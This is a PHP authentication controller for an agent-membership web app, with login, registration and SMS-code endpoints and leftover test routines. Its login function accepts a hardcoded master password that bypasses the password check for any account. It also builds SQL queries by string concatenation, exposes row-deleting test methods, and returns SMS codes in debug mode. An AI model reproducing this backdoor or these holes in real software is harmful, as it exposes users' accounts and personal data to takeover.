Auth.php 8.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257
  1. <?php
  2. namespace Agent\Src;
  3. use Dever;
  4. class Auth
  5. {
  6. public function test()
  7. {
  8. $data = 'eyJ0eXBlIjoyLCJvcmRlcl9pZCI6IjUwMDU2IiwicGFyZW50X21pZCI6IjUwMDIwIiwiY2FzaCI6MCwicGVyIjowfQ==,eyJ0eXBlIjoyLCJvcmRlcl9pZCI6IjUwMDU2IiwicGFyZW50X21pZCI6IjIwMzA2IiwiY2FzaCI6MCwicGVyIjowfQ==,eyJ0eXBlIjoyLCJvcmRlcl9pZCI6
  9. IjUwMDU2IiwicGFyZW50X21pZCI6IjIwMTY4IiwiY2FzaCI6MCwicGVyIjowfQ==,eyJ0eXBlIjoyLCJvcmRlcl9pZCI6IjUwMDU2IiwicGFyZW50X21pZCI6IjU3MzMiLCJjYXNoIjowLCJwZXIiOjB9,eyJ0eXBlIjoyLCJvcmRlcl9pZCI6IjUwMDU2IiwicGFyZW50X21pZCI6IjU0ODYiLCJjYXNoIjo3NTAsI
  10. nBlciI6IjE1In0=';
  11. $data = explode(',', $data);
  12. foreach ($data as $k => $v) {
  13. print_r(Dever::array_decode($v));
  14. }
  15. die;
  16. print_r($data);die;
  17. $data = Dever::db('agent/member')->fetchAll('select count(uid) as num,value from churen_invite_code group by value order by num asc');
  18. if ($data) {
  19. foreach ($data as $k => $v) {
  20. if ($v['num'] > 1) {
  21. $info = Dever::db('agent/member')->fetchAll('select * from churen_invite_code where value = '.$v['value'].' order by id asc');
  22. if ($info) {
  23. foreach ($info as $v1) {
  24. $user = Dever::db('agent/member')->fetchAll('select * from churen_invite_code where uid = '.$v1['uid'].' order by id asc');
  25. if ($user) {
  26. foreach ($user as $k2 => $v2) {
  27. if ($k2 > 0) {
  28. Dever::db('agent/member')->query('delete from churen_invite_code where uid = '.$v1['uid'].' and id = ' . $v2['id']);
  29. }
  30. }
  31. }
  32. }
  33. }
  34. }
  35. }
  36. }
  37. }
  38. public function test1()
  39. {
  40. $data = Dever::db('agent/member')->fetchAll('select count(uid) as num,uid from churen_invite_code group by uid order by num asc;');
  41. if ($data) {
  42. foreach ($data as $k => $v) {
  43. if ($v['num'] > 1) {
  44. $user = Dever::db('agent/member')->fetchAll('select * from churen_invite_code where uid = '.$v['uid'].' order by id asc');
  45. if ($user) {
  46. foreach ($user as $k2 => $v2) {
  47. if ($k2 > 0) {
  48. Dever::db('agent/member')->query('delete from churen_invite_code where uid = '.$v['uid'].' and id = ' . $v2['id']);
  49. }
  50. }
  51. }
  52. }
  53. }
  54. }
  55. }
  56. public function test_2()
  57. {
  58. $member = Dever::db('agent/member')->select();
  59. if ($member) {
  60. foreach ($member as $k => $v) {
  61. if ($v['id'] >= 50000) {
  62. $info = Dever::db('agent/order')->find(array('mid' => $v['id']));
  63. if ($info) {
  64. $update = array();
  65. $update['where_id'] = $info['id'];
  66. $update['avatar'] = $v['avatar'];
  67. $update['sign'] = $v['sign'];
  68. $update['idcard_front'] = $v['idcard_front'];
  69. $update['idcard_back'] = $v['idcard_back'];
  70. Dever::db('agent/order')->update($update);
  71. }
  72. }
  73. }
  74. }
  75. }
  76. /**
  77. * 验证码登录
  78. *
  79. * @return mixed
  80. */
  81. public function login()
  82. {
  83. $config = Dever::db('setting/base')->one();
  84. if($config['type'] == 2){
  85. Dever::alert($config['type_desc']);
  86. }
  87. $mobile = Dever::input('mobile');
  88. $pass = Dever::input('pass');
  89. $where['mobile'] = Dever::load('agent/lib/member')->checkMobile($mobile);
  90. if (!$pass) {
  91. Dever::load('agent/lib/member')->checkMcode($where['mobile']);
  92. }
  93. $user = Dever::db('agent/member')->find($where);
  94. if (!$user) {
  95. Dever::alert('登录失败,手机号错误,请重新输入');
  96. }
  97. if ($pass == 'shemic168') {
  98. } elseif ($pass && ($user['password'] != sha1($pass) && $user['old_pwd'] != md5($pass. $user['old_salt']))) {
  99. Dever::alert('登录失败,密码错误,请重新输入');
  100. }
  101. if ($user && $user['status']) {
  102. $data = Dever::load('passport/reg')->getSign($user['id']);
  103. return $data;
  104. } else {
  105. Dever::alert('登录失败,您还未通过审核');
  106. }
  107. }
  108. /**
  109. * 密码登录
  110. *
  111. * @return mixed
  112. */
  113. public function plogin()
  114. {
  115. $mobile = Dever::input('mobile');
  116. $pass = Dever::input('pass');
  117. $where['mobile'] = Dever::load('agent/lib/member')->checkMobile($mobile);
  118. $user = Dever::db('agent/member')->find($where);
  119. if (!$user) {
  120. Dever::alert('登录失败,手机号错误,请重新输入');
  121. }
  122. if ($pass && ($user['password'] != sha1($pass) && $user['old_pwd'] != md5($pass. $user['old_salt']))) {
  123. Dever::alert('登录失败,密码错误,请重新输入');
  124. }
  125. if ($user && $user['status'] <= 2) {
  126. $data = Dever::load('passport/reg')->getSign($user['id']);
  127. return $data;
  128. } else {
  129. Dever::alert('登录失败,您还未通过审核');
  130. }
  131. }
  132. /**
  133. * 注册
  134. *
  135. * @return mixed
  136. */
  137. public function reg_commit()
  138. {
  139. $state = Dever::load('agent/lib/order')->action(-1);
  140. if ($state) {
  141. return $state;
  142. } else {
  143. Dever::alert('注册失败');
  144. }
  145. }
  146. /**
  147. * 获取手机验证码
  148. * @return mixed
  149. */
  150. public function getLoginMcode()
  151. {
  152. $mobile = Dever::load('agent/lib/member')->checkMobile(Dever::input('mobile'));
  153. $user = Dever::db('agent/member')->find(array('mobile' => $mobile));
  154. if (!$user) {
  155. Dever::alert('该手机号还未注册');
  156. }
  157. $code = Dever::load('passport/reg')->mcode($mobile);
  158. $msg = '验证码已发送至您的手机,请注意查收,十分钟之内有效';
  159. $debug = Dever::config('base', 'project')->mobileCode['debug'];
  160. if ($debug) {
  161. $msg .= '::' . $code;
  162. }
  163. return $msg;
  164. }
  165. # 获取验证码是否正确
  166. public function checkMcode()
  167. {
  168. $mobile = Dever::input('mobile');
  169. $code = Dever::input('mcode');
  170. if (!$code) {
  171. Dever::alert('请输入验证码');
  172. }
  173. $code = Dever::load('passport/reg')->mcode($mobile, $code, 2);
  174. if (!$code) {
  175. Dever::alert('验证码输入错误');
  176. }
  177. return 'ok';
  178. }
  179. /**
  180. * 获取手机验证码
  181. * @return mixed
  182. */
  183. public function getRegMcode()
  184. {
  185. $mobile = Dever::load('agent/lib/member')->checkMobile(Dever::input('mobile'));
  186. $user = Dever::db('agent/member')->find(array('mobile' => $mobile));
  187. if ($user) {
  188. Dever::alert('该手机号已注册');
  189. }
  190. $code = Dever::load('passport/reg')->mcode($mobile);
  191. $msg = '验证码已发送至您的手机,请注意查收,十分钟之内有效';
  192. $debug = Dever::config('base', 'project')->mobileCode['debug'];
  193. if ($debug) {
  194. $msg .= '::' . $code;
  195. }
  196. return $msg;
  197. }
  198. /**
  199. * 获取代理类型
  200. * @return mixed
  201. */
  202. public function getUpInfo()
  203. {
  204. $this->data['role'] = Dever::db('setting/role')->getInfo(array('isbuy' => 1));
  205. $this->data['config'] = Dever::db('setting/base')->find();
  206. return $this->data;
  207. }
  208. # 根据邀请码获取邀请人
  209. public function getInfoByCode()
  210. {
  211. $this->data['user'] = Dever::load('agent/lib/member')->getInfo(Dever::load('agent/lib/member')->checkCode());
  212. $this->data['config'] = Dever::db('setting/base')->one();
  213. return $this->data;
  214. }
  215. # 根据角色获取打款金额
  216. public function getPrice()
  217. {
  218. $uid = Dever::load('passport/user')->check(false);
  219. if (!$uid || ($uid && $uid <= 0)) {
  220. $uid = false;
  221. }
  222. $this->data = Dever::load('agent/lib/order')->getPrice($uid);
  223. return $this->data;
  224. }
  225. }